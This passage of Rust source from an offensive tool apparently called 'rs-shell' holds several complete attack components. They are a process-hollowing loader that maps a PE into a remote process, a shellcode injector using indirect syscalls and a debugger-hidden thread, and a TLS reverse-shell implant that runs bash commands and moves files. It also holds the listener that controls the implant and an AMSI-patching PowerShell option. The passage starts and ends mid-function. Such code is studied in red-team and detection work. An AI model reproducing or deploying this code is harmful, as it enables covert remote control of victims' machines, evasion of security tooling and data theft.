dos_head.e_lfanew
);
//Retrieve the NT headers starting at the elfa new address
let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("NT headers : {:#x?}", nt_head);
//Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory
let mut sections: Vec =
vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];
for i in 0..sections.len() {
fill_structure_from_memory(
&mut sections[i],
(base as usize
+ dos_head.e_lfanew as usize
+ std::mem::size_of_val(&nt_head) as usize
+ (i * std::mem::size_of::() as usize))
as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!(
"Virtual addresses of sections {} is {:#x?}",
string_from_array(&mut sections[i].Name.to_vec()),
sections[i].VirtualAddress
);
//Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)
//Write it into memory at the addr base+VA
let tmp: Vec = buf[sections[i].PointerToRawData as usize
..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]
.to_vec();
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
(base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *mut c_void,
sections[i].SizeOfRawData as usize,
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing section content into memory of current process: {:x}",
status
);
}
status = syscall!(
"NtWriteVirtualMemory",
prochandle,
(remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *mut c_void,
sections[i].SizeOfRawData as usize,
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing section content into memory of remote process: {:x}",
status
);
}
}
//Retrieve the imports and fix them
log::debug!("{:?}", nt_head.OptionalHeader);
if nt_head.OptionalHeader.ImportTable.Size > 0 {
//Data addr before loading in memory
let mut origin_first_thunk =
base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;
loop {
//Data structure of the imported DLL
let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();
fill_structure_from_memory(
&mut image_descriptor,
origin_first_thunk as *const c_void,
GetCurrentProcess(),
false,
);
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
log::debug!("No more import");
break;
} else {
//Retrieve the DLL name and load it by retrieving the name at this address pointed by Name
let import_name = read_from_memory(
(base as usize + image_descriptor.Name as usize) as *const c_void,
GetCurrentProcess(),
false,
);
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
log::debug!("Import DLL name : {}", import_name);
//Get pointer of the first thunk of data containing the data of the first imported function
let mut thunk_ptr = base as usize
+ image_descriptor.Characteristics_or_OriginalFirstThunk as usize;
let mut i = 0;
//Parse each thunk one by one to retrieve all the imported functions
loop {
let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();
fill_structure_from_memory(
&mut thunk_data,
(thunk_ptr as usize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("{:x?}", thunk_data);
if thunk_data.Address == [0; 8]
&& u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())
< 0x8000000000000000
{
log::debug!("No more data");
break;
} else {
//For each function, retrieve its name and its addr in memory
let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());
let function_name = read_from_memory(
(base as usize + offset as usize + 2) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("Function : {}", function_name);
let function_addr = i64::to_ne_bytes(
GetProcAddress(
load_dll,
function_name.as_bytes().as_ptr() as *const u8,
)
.unwrap() as i64,
);
//Write the function and its data in memory at its addr
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
((base as usize + image_descriptor.FirstThunk as usize) + i * 8)
as *mut c_void,
function_addr.as_ptr() as *const c_void,
function_addr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing functions' data into memory of current process: {:x}",
status
);
}
status = syscall!(
"NtWriteVirtualMemory",
prochandle,
((remote_base as usize + image_descriptor.FirstThunk as usize)
+ i * 8) as *mut c_void,
function_addr.as_ptr() as *const c_void,
function_addr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing functions' data into memory of remote process: {:x}",
status
);
}
i += 1;
thunk_ptr += 8;
}
}
origin_first_thunk += std::mem::size_of::();
}
}
}
//Fix base relocations in case of hardcoded values
if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {
//Calculate the delta and retrieve the first relocation ptr
let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;
let mut first_reloc_ptr =
base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;
loop {
//Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)
let mut reloc = MY_IMAGE_BASE_RELOCATION::default();
fill_structure_from_memory(
&mut reloc,
first_reloc_ptr as *const c_void,
GetCurrentProcess(),
false,
);
if reloc.SizeofBlock == 0 {
log::debug!("No more relocation");
break;
} else {
log::debug!("Size of block : {:x?}", reloc.SizeofBlock);
log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress);
//For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA
let entries = (reloc.SizeofBlock - 8) / 2;
log::debug!("Entries : {:x?}", entries);
for i in 0..entries {
let mut offset_from_page: [u8; 2] = [0; 2];
status = syscall!(
"NtReadVirtualMemory",
GetCurrentProcess(),
(first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void,
offset_from_page.as_mut_ptr() as *mut c_void,
offset_from_page.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error retrieving offset from the page addr: {:x}", status);
}
log::debug!("Offset : {:x?}", offset_from_page);
let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());
//println!("{:x?}", temp & 0x0fff);
if (temp >> 12) == 0xA {
//Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset
// 1&0=0 0&0=0
let block_reloc_rva = base as usize
+ reloc.VirtualAddress as usize
+ (temp & 0x0fff) as usize;
//Read the hardcoded values at the entry addr and translate to obtain the fixed addr
let mut harcoded_value: [u8; 8] = [0; 8];
status = syscall!(
"NtReadVirtualMemory",
GetCurrentProcess(),
block_reloc_rva as *const c_void,
harcoded_value.as_mut_ptr() as *mut c_void,
harcoded_value.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error reading hardcoded values: {:x}", status);
}
log::debug!("Harcoded value at RVA : {:x?}", harcoded_value);
let fixe_addr =
isize::from_ne_bytes(harcoded_value.try_into().unwrap())
+ delta as isize;
log::debug!("{:x?}", fixe_addr);
//Write into memory
let fixed_addr_bytes = fixe_addr.to_ne_bytes();
status = syscall!(
"NtWriteVirtualMemory",
prochandle,
block_reloc_rva as *mut c_void,
fixed_addr_bytes.as_ptr() as *mut c_void,
8,
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing hardcoded values into memory: {:x}",
status
);
}
}
}
}
first_reloc_ptr += reloc.SizeofBlock as usize;
}
}
//Change the Read/Write memory access to Write/Execute
let mut old_perms = PAGE_READWRITE;
status = syscall!(
"NtProtectVirtualMemory",
prochandle,
&mut remote_base,
&mut img_s,
PAGE_EXECUTE_READWRITE,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error changing memory permissions: {:x}", status);
}
let mut ctx = std::mem::zeroed::();
ctx.ContextFlags = CONTEXT_INTEGER;
status = syscall!("NtGetContextThread", threadhandle, &mut ctx);
if !NT_SUCCESS(status) {
log::debug!("Error getting thread context: {:x}", status);
}
ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64;
status = syscall!("NtSetContextThread", threadhandle, &mut ctx);
if !NT_SUCCESS(status) {
log::debug!("Error setting thread context: {:x}", status);
}
VirtualFree(base, 0, 0x00004000);
status = syscall!("NtResumeThread", threadhandle, NULL);
if !NT_SUCCESS(status) {
log::debug!("Error resuming thread: {:x}", status);
}
CloseHandle(prochandle);
}
Ok(())
}
pub fn shellcode_loader_syscalls(
mut shellcode: Vec,
pe_to_execute: &str,
) -> Result<(), Box> {
let mut full_path = "\\??\\".to_owned() + pe_to_execute;
full_path = full_path.trim().to_owned() + "\0";
let mut status: NTSTATUS;
let mut process_handle: HANDLE = NULL;
let mut thread_handle: HANDLE = NULL;
unsafe {
let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default();
// Image path in NT format
// https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call
let source_string = full_path.encode_utf16().chain(once(0)).collect::>();
RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16);
// Process parameters building
let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();
status = RtlCreateProcessParametersEx(
&mut process_parameters,
&mut nt_image_path,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
RTL_USER_PROC_PARAMS_NORMALIZED,
);
if !NT_SUCCESS(status) {
log::debug!("Error creating process parameters : {:x}", status);
return Err(status.to_string().into());
}
// PS_CREATE_INFO structure building
let mut create_info = PS_CREATE_INFO::default();
create_info.Size = std::mem::size_of::();
create_info.State = PsCreateInitialState;
// Process and thread attributs building
let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap(
RtlProcessHeap(),
HEAP_ZERO_MEMORY,
std::mem::size_of::(),
) as PPS_ATTRIBUTE_LIST;
attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::();
attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize;
attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize;
// New process startup
status = syscall!(
"NtCreateUserProcess",
&mut process_handle,
&mut thread_handle,
PROCESS_ALL_ACCESS,
THREAD_ALL_ACCESS,
NULL as *mut OBJECT_ATTRIBUTES,
NULL as *mut OBJECT_ATTRIBUTES,
0 as c_ulong,
0 as c_ulong,
process_parameters as *mut c_void,
&mut create_info,
attribute_list
);
if !NT_SUCCESS(status) {
log::debug!("Error creating process : {:x}", status);
return Err(status.to_string().into());
}
RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void);
RtlDestroyProcessParameters(process_parameters);
}
let mut base_addr = NULL;
unsafe {
status = syscall!(
"NtAllocateVirtualMemory",
process_handle,
&mut base_addr,
0,
&mut shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
}
if !NT_SUCCESS(status) {
log::debug!(
"Error allocating memory in the target process: {:x}",
status
);
return Err(status.to_string().into());
}
unsafe {
status = syscall!(
"NtWriteVirtualMemory",
process_handle,
base_addr,
shellcode.as_mut_ptr() as *mut c_void,
shellcode.len(),
NULL
);
}
if !NT_SUCCESS(status) {
log::debug!("Error writing in the target process memory: {:x}", status);
return Err(status.to_string().into());
}
unsafe {
let mut old_perms = PAGE_READWRITE;
status = syscall!(
"NtProtectVirtualMemory",
process_handle,
&mut base_addr,
&mut shellcode.len(),
PAGE_EXECUTE_READ,
&mut old_perms
);
}
if !NT_SUCCESS(status) {
log::debug!("Error changing memory permission: {:x}", status);
return Err(status.to_string().into());
}
shellcode.clear();
shellcode.shrink_to_fit();
let mut thread_handle: HANDLE = NULL;
unsafe {
status = syscall!(
"NtCreateThreadEx",
&mut thread_handle,
THREAD_ALL_ACCESS,
NULL,
process_handle,
base_addr,
NULL,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
0 as usize,
0 as usize,
0 as usize,
NULL
);
}
if !NT_SUCCESS(status) {
log::debug!("Error starting remote thread: {:x}", status);
return Err(status.to_string().into());
}
unsafe {
status = syscall!(
"NtWaitForSingleObject",
thread_handle,
0,
NULL as *mut _ as *mut LARGE_INTEGER
);
if !NT_SUCCESS(status) {
log::debug!("Error waiting for execution: {:x}", status);
return Err(status.to_string().into());
}
}
unsafe {
status = syscall!("NtClose", process_handle);
}
if !NT_SUCCESS(status) {
log::debug!("Closing failed: {}", status);
return Err(status.to_string().into());
}
Ok(())
}
================================================
FILE: src/main.rs
================================================
mod utils {
pub mod structures;
pub mod tools;
pub mod tools_windows;
}
mod tcp {
#[cfg_attr(target_family = "unix", path = "tcp_linux_client.rs")]
#[cfg_attr(target_family = "windows", path = "tcp_windows_client.rs")]
pub mod client;
pub mod tcp_server;
}
mod https {
#[cfg_attr(target_family = "unix", path = "https_linux_implant.rs")]
#[cfg_attr(target_family = "windows", path = "https_windows_implant.rs")]
pub mod https_implant;
pub mod https_operator;
pub mod https_server;
pub mod routes;
}
mod amsi_bypass;
mod autopwn;
mod loader;
mod loader_syscalls;
use crate::https::https_implant::implant;
use crate::https::https_operator::operator as https_operator;
use crate::https::https_server::server as https_server;
use crate::tcp::client::client;
use crate::tcp::tcp_server::server as tcp_server;
use clap::{Arg, Command};
use log::LevelFilter;
use simple_logger::SimpleLogger;
use std::error::Error;
#[cfg(target_family = "windows")]
use syscalls::syscall;
fn main() -> Result<(), Box> {
SimpleLogger::new()
.without_timestamps()
.with_colors(true)
.init()
.unwrap();
::log::set_max_level(LevelFilter::Info);
let args = Command::new("rs-shell")
.author("BlackWasp")
.version("0.2.5")
.after_help("In a session, type 'help' for advanced integrated commands")
.arg(
Arg::new("mode")
.short('m')
.long("mode")
.required(true)
.value_parser([
clap::builder::PossibleValue::new("tcp"),
clap::builder::PossibleValue::new("https"),
])
.help("communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure)"),
)
.arg(
Arg::new("side")
.short('s')
.long("side")
.required(true)
.value_parser([
clap::builder::PossibleValue::new("i"),
clap::builder::PossibleValue::new("c"),
clap::builder::PossibleValue::new("l"),
])
.help("launch the implant (i), the client (c) (only for HTTPS), or the listener (l)"),
)
.arg(
Arg::new("ip")
.short('i')
.long("ip")
.required(true)
.help("IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants"),
)
.arg(
Arg::new("port")
.short('p')
.long("port")
.required_if_eq("mode", "tcp")
.help("port address to bind to for the TCP listener, or to connect to for the implant"),
)
.arg(
Arg::new("cert_path")
.long("cert-path")
.required_if_eq("side", "l")
.help("path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS"),
)
.arg(
Arg::new("cert_pass")
.long("cert-pass")
.required_if_eq_all([
("mode", "tcp"),
("side", "l")
])
.help("password of the TLS PKCS12 certificate for the TCP server"),
)
.arg(
Arg::new("key_path")
.long("key-path")
.required_if_eq_all([
("mode", "https"),
("side", "l")
])
.help("path of the TLS key for the HTTPS server"),
)
.get_matches();
if args.get_one::("mode").unwrap() == "tcp"
&& args.get_one::("side").unwrap() == "l"
{
match tcp_server(
args.get_one::("ip").unwrap().as_str(),
args.get_one::("port")
.unwrap()
.parse::()
.unwrap(),
args.get_one::("cert_path").unwrap().as_str(),
args.get_one::("cert_pass").unwrap().as_str(),
) {
Ok(_) => (),
Err(r) => {
log::error!("Error starting the server : {}", r);
return Err(r);
}
}
} else if args.get_one::("mode").unwrap() == "tcp"
&& args.get_one::("side").unwrap() == "i"
{
match client(
args.get_one::("ip").unwrap().as_str(),
args.get_one::("port").unwrap().as_str(),
) {
Ok(_) => (),
Err(r) => {
log::debug!(
"Error during client execution : {}. Attempt to restart it",
r
);
match client(
args.get_one::("ip").unwrap().as_str(),
args.get_one::("port").unwrap().as_str(),
) {
Ok(_) => (),
Err(r) => {
log::debug!("Error still present : {}", r);
return Err(r);
}
}
}
}
} else if args.get_one::("mode").unwrap() == "https"
&& args.get_one::("side").unwrap() == "l"
{
match https_server(
args.get_one::("ip").unwrap().as_str(),
args.get_one::("cert_path").unwrap().as_str(),
args.get_one::("key_path").unwrap().as_str(),
) {
Ok(_) => (),
Err(r) => {
log::error!("Error starting the server : {}", r);
return Err(Box::new(r));
}
}
} else if args.get_one::("mode").unwrap() == "https"
&& args.get_one::("side").unwrap() == "c"
{
match https_operator(args.get_one::("ip").unwrap().as_str()) {
Ok(_) => (),
Err(r) => {
log::error!("Error starting the client : {}", r);
return Err(r);
}
}
} else if args.get_one::("mode").unwrap() == "https"
&& args.get_one::("side").unwrap() == "i"
{
match implant(args.get_one::("ip").unwrap().as_str()) {
Ok(_) => (),
Err(r) => {
log::error!("Error starting the implant : {}. Attempt to restart it", r);
match implant(args.get_one::("ip").unwrap().as_str()) {
Ok(_) => (),
Err(r) => {
log::debug!("Error still present : {}", r);
return Err(r);
}
}
}
}
}
Ok(())
}
================================================
FILE: src/tcp/tcp_linux_client.rs
================================================
use crate::utils::tools::receive_and_write_bytes;
use std::error::Error;
use std::fs::File;
use std::io::{Read, Write};
use std::process::{exit, Command};
use native_tls::TlsConnector;
use std::net::TcpStream;
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("/bin/bash")
.args(["-c", cmd.trim_end_matches("\r\n")])
.output()
.unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.is_empty() {
stdo.to_vec()
} else {
_stdr.to_vec()
}
}
pub fn client(i: &str, p: &str) -> Result<(), Box> {
// Connection to server and TLS setup
let clt = TcpStream::connect(i.to_owned() + ":" + p)?;
log::debug!(
"[+] TCP connection success to the listener at {}",
clt.peer_addr()?
);
let mut connector_builder = TlsConnector::builder();
connector_builder.danger_accept_invalid_certs(true);
connector_builder.danger_accept_invalid_hostnames(true);
let connector = connector_builder.build()?;
let stream = connector.connect("dummy", clt);
let mut tls_stream = match stream {
Ok(s) => s,
Err(r) => {
log::debug!("TLS handshake error : {}", r);
exit(6);
}
};
let os = std::env::consts::FAMILY;
tls_stream.write_all(os.as_bytes())?;
// Cmd execution loop
loop {
// Read input from server
let mut buff = [0; 4096];
let read = tls_stream.read(&mut buff[0..]);
let bytes_read = match read {
Ok(b) => b,
Err(r) => {
log::debug!("Reading error : {}", r);
continue;
}
};
// Check to quit
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.trim_end()
== "quit"
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.trim_end()
== "exit"
{
log::debug!("Quit");
break;
}
// Check for download/upload commands
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("download")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(' ').collect();
match File::open(path[1]) {
Ok(mut file) => {
let mut file_buffer = [0; 4096];
loop {
let bytes_read = file.read(&mut file_buffer)?;
if bytes_read == 0 {
let end_of_file =
"EndOfTheFile:".to_owned() + &file.metadata()?.len().to_string();
tls_stream.write_all(end_of_file.as_bytes())?;
break;
}
tls_stream.write_all(&file_buffer[..bytes_read])?;
}
}
Err(r) => {
tls_stream.write_all(r.to_string().as_bytes())?;
tls_stream.write_all("EndOfTheFile".as_bytes())?;
}
}
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("upload")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(' ').collect();
match File::create(path[2].trim_end_matches('\0').trim_end()) {
Ok(mut file) => {
tls_stream.write("Creation OK".as_bytes())?;
let mut file_buffer = [0; 4096];
let mut file_vec: Vec = Vec::new();
match tls_stream.read(&mut file_buffer) {
Ok(_) => receive_and_write_bytes(
&mut tls_stream,
&mut file_vec,
&mut file_buffer,
)?,
Err(r) => {
log::debug!("Reading error : {}", r);
tls_stream.flush()?;
continue;
}
}
file.write(&file_vec)?;
}
Err(r) => {
log::debug!("File creation error : {}", r);
tls_stream
.write(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?;
}
}
} else {
// Magic stuff
let mut res =
do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'));
if res.is_empty() {
tls_stream.write_all("\0".as_bytes())?;
} else {
// Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096
let mut buff_to_send = [0; 4096];
loop {
let mut count = 0;
for c in &res {
if count == 4096 {
break;
}
buff_to_send[count] = *c;
count += 1;
}
let _ = tls_stream.write(&buff_to_send)?;
buff_to_send = [0; 4096];
if count < 4096 {
break;
}
let res2 = res.split_off(count);
res = res2;
}
}
}
tls_stream.flush()?;
}
tls_stream.shutdown()?;
Ok(())
}
================================================
FILE: src/tcp/tcp_server.rs
================================================
use std::error::Error;
use std::fs::File;
use std::io::{self, Read, Write};
use std::process::exit;
use std::sync::Arc;
use std::thread;
use native_tls::{Identity, TlsAcceptor};
use regex::Regex;
use std::net::{Ipv4Addr, SocketAddrV4, TcpListener};
use crate::autopwn;
use crate::utils::tools::{read_and_send_file, receive_and_write_bytes};
static PATH_REGEX: &str = r#"PS (?(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?[^\/\\<>:"|?\n\r]*?)> "#;
pub fn server(i: &str, port: u16, cert_path: &str, cert_pass: &str) -> Result<(), Box> {
// Read TLS certificate and create identity from it
let file = File::open(cert_path);
let mut file = match file {
Ok(f) => f,
Err(_) => {
log::error!("PFX file cannot be openned");
exit(2);
}
};
let mut identity = vec![];
file.read_to_end(&mut identity)?;
let identity = Identity::from_pkcs12(&identity, cert_pass)?;
// Addr and port where server will bind
let ip = i.parse::();
let ip_addr = match ip {
Ok(i) => i,
Err(r) => {
log::error!("{}", r);
exit(3);
}
};
// Socket creation and binding
let socket = SocketAddrV4::new(ip_addr, port);
let tcp_lstn = TcpListener::bind(socket);
let listener = match tcp_lstn {
Ok(l) => l,
Err(r) => {
log::error!("{}", r);
exit(4);
}
};
let acceptor = TlsAcceptor::new(identity)?;
let acceptor = Arc::new(acceptor);
println!("{}", banner());
log::info!("[+] Binded to {}:{}", ip_addr, port);
if let Some(tcp_stream) = listener.incoming().next() {
match tcp_stream {
Ok(tcp_stream) => {
let acceptor = acceptor.clone();
let server_handle = thread::spawn(move || {
log::info!(
"[+] TCP connection success from {} ! BANG BANG !",
tcp_stream.peer_addr().unwrap()
);
let mut stream = acceptor.accept(tcp_stream).expect("Error TLS accept");
log::info!("[+] This shell is yours !");
log::info!("[+] Type 'help' for advanced integrated commands");
let mut buff = [0; 4096];
let mut _client_os = String::new();
match stream.read(&mut buff) {
Ok(_) => {
_client_os = String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.trim_end()
.to_string();
}
Err(r) => {
log::error!("Cannot read client OS : {}", r);
_client_os = "undefined".to_string();
}
}
log::info!("[+] Client's OS family is {}", _client_os);
// Ctrl+C handler to avoid kill the shell by error
ctrlc::set_handler(move || {
println!("Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually.");
})
.expect("Error setting Ctrl-C handler");
// Command loop
loop {
print!("> ");
io::stdout().flush().unwrap();
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).expect("[-] Input issue");
cmd.push('\0');
// Check for help command
if cmd.as_str().starts_with("help") {
println!("{}", help());
continue;
}
// Check for autopwn command
if cmd.as_str().starts_with("autopwn") {
print!("What is the meaning of life ? ");
io::stdout().flush().unwrap();
let mut life = String::new();
io::stdin().read_line(&mut life).expect("[-] Input issue");
if life
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("42")
{
autopwn::autopwn();
continue;
}
continue;
}
// Cmd handling
if cmd.trim_end_matches('\0').trim_end().ne("") {
// Check for download/upload commands
if cmd.as_str().starts_with("download") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 3 {
log::warn!("Invalid argument number. Usage is : download C:\\file\\to\\download C:\\local\\path\0");
} else {
match File::create(path[2].trim_end_matches('\0').trim_end()) {
Ok(mut file) => {
match stream.write(cmd.as_bytes()) {
Ok(_) => (),
Err(r) => {
log::error!(
"Error sending the download command : {}",
r
);
stream.flush().unwrap();
continue;
}
}
let mut buff = [0; 4096];
let mut file_vec: Vec = Vec::new();
match stream.read(&mut buff) {
Ok(_) => {
match receive_and_write_bytes(
&mut stream,
&mut file_vec,
&mut buff,
) {
Ok(_) => (),
Err(r) => {
log::error!(
"Error receiving data : {}",
r
);
stream.flush().unwrap();
continue;
}
}
}
Err(r) => {
log::error!("Error during download : {}", r);
stream.flush().unwrap();
continue;
}
}
file.write(&file_vec).expect("Error writing the file");
}
Err(r) => {
log::error!("Error during file creation : {}", r);
continue;
}
}
}
continue;
} else if cmd.as_str().starts_with("upload") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 3 {
log::warn!("Invalid argument number. Usage is : upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write\0");
} else {
match File::open(path[1]) {
Ok(file) => {
let mut buff = [0; 4096];
match stream.write(cmd.as_bytes()) {
Ok(_) => {
stream
.read(&mut buff)
.expect("Cannot read file creation result");
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.ne("Creation OK")
{
log::warn!(
"{}",
String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
);
continue;
}
}
Err(r) => {
log::error!(
"Error sending the upload command : {}",
r
);
stream.flush().unwrap();
continue;
}
}
match read_and_send_file(file, &mut stream) {
Ok(_) => (),
Err(r) => {
log::error!("Error during upload : {}", r);
stream.flush().unwrap();
continue;
}
}
}
Err(r) => {
log::error!("File cannot be opened : {}", r);
stream.flush().unwrap();
continue;
}
}
}
continue;
}
// Check for load command
if cmd.as_str().starts_with("load -s")
|| cmd.as_str().starts_with("syscalls -s")
{
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 4 {
log::warn!("Invalid argument number. Usage is : load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0");
continue;
} else {
if _client_os.ne("windows") {
log::warn!("Client's OS is not Windows, this command doesn't make any sense");
continue;
}
match File::open(path[2]) {
Ok(file) => {
match stream.write(cmd.as_bytes()) {
Ok(_) => (),
Err(r) => {
log::error!(
"Error sending the load command : {}",
r
);
stream.flush().unwrap();
continue;
}
}
match read_and_send_file(file, &mut stream) {
Ok(_) => (),
Err(r) => {
log::error!("Error during loading : {}", r);
stream.flush().unwrap();
continue;
}
}
}
Err(r) => {
log::error!("File cannot be opened : {}", r);
stream.flush().unwrap();
continue;
}
}
}
stream
.read(&mut buff)
.expect("Error reading the result of the load command");
continue;
}
// Snippet for load -h command with PE loading from the server by Copilot
// For future use
/*else if cmd.as_str().starts_with("load -h") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 4 {
log::warn!("Invalid argument number. Usage is : load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0");
} else {
match File::open(path[2]) {
Ok(mut file) => {
let mut buff = [0; 4096];
match stream.write(cmd.as_bytes()) {
Ok(_) => (),
Err(r) => {
log::error!(
"Error sending the load command : {}",
r
);
stream.flush().unwrap();
continue;
}
}
match read_and_send_file(file, &mut stream) {
Ok(_) => (),
Err(r) => {
log::error!("Error during load : {}", r);
stream.flush().unwrap();
continue;
}
}
}
Err(r) => {
log::error!("File cannot be opened : {}", r);
stream.flush().unwrap();
continue;
}
}
}
continue;
} else if cmd.as_str().starts_with("load") {
}*/
// Check for amsi command
if cmd.as_str().starts_with("powpow") {
if _client_os.ne("windows") {
log::warn!("Client's OS is not Windows, this command doesn't make any sense");
continue;
}
print!("Wait ! This feature is not really opsec, are you a big daddy ? [Y/N] ");
io::stdout().flush().unwrap();
let mut big_daddy = String::new();
io::stdin()
.read_line(&mut big_daddy)
.expect("[-] Input issue");
if !big_daddy
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("Y")
{
log::info!("Not starting PowerShell");
continue;
}
print!("Do you want to patch the AMSI in memory or not ? [Y/N] ");
io::stdout().flush().unwrap();
let mut amsi = String::new();
let mut syscalls_value = String::new();
io::stdin().read_line(&mut amsi).expect("[-] Input issue");
if !amsi
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("Y")
{
log::info!("[+] Starting PowerShell without patching the AMSI, please wait...");
} else {
print!("Do you want to use indirect syscalls ? [Y/N] ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut syscalls_value)
.expect("[-] Input issue");
if !syscalls_value
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("Y")
{
log::info!("[+] Starting PowerShell and patching the AMSI without indirect syscalls, please wait...");
} else {
log::info!("[+] Starting PowerShell and patching the AMSI with indirect syscalls, please wait...");
}
}
match stream.write(
(cmd.trim_end_matches('\0').to_owned()
+ ":"
+ &amsi
+ ":"
+ &syscalls_value)
.as_bytes(),
) {
Ok(_) => (),
Err(r) => {
log::error!("Error sending the powpow command : {}", r);
stream.flush().unwrap();
continue;
}
}
let path_regex = Regex::new(PATH_REGEX).unwrap();
loop {
let mut cmd = String::new();
let mut buff = [0; 4096];
// Read output from client
match stream.read(&mut buff) {
Ok(_) => {
while !path_regex.is_match(
String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.to_string()
.as_str(),
) {
print!(
"{}",
String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
);
buff = [0; 4096];
match stream.read(&mut buff) {
Ok(_) => (),
Err(r) => {
log::error!("Reading error : {}", r);
stream.flush().unwrap();
continue;
}
}
}
print!(
"{}",
String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
);
}
Err(r) => {
log::error!("Reading error : {}", r);
stream.flush().unwrap();
continue;
}
}
io::stdout().flush().unwrap();
io::stdin().read_line(&mut cmd).expect("[-] Input issue");
